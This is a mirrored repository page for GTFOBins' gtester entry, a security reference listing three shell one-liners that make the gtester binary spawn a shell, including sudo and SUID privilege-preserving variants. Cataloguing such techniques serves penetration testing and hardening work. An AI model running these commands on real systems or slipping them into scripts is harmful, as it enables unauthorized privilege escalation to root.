This website requires JavaScript.
Explore
Help
Sign In
public-mirrors
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced
2025-11-08 12:45:10 +01:00
Code
Issues
Projects
Releases
Wiki
Activity
Files
696d156f6076c0728ed68fe929a36c9178ecb501
GTFOBins.github.io
/
_gtfobins
/
gtester.md
Andrea Cardaci
e4cd54418c
Upgrade gtester to proper shell and add SUID
...
Related to
#108
.
2020-03-17 20:33:15 +01:00
513 B
Raw
Blame
History
functions
functions
shell
sudo
suid
code
TF=$(mktemp) echo '#!/bin/sh' > $TF echo 'exec /bin/sh -p 0<&1' >> $TF chmod +x $TF gtester -q $TF
code
TF=$(mktemp) echo '#!/bin/sh' > $TF echo 'exec /bin/sh 0<&1' >> $TF chmod +x $TF sudo gtester -q $TF
code
TF=$(mktemp) echo '#!/bin/sh -p' > $TF echo 'exec /bin/sh -p 0<&1' >> $TF chmod +x $TF sudo gtester -q $TF
Reference in New Issue
View Git Blame
Copy Permalink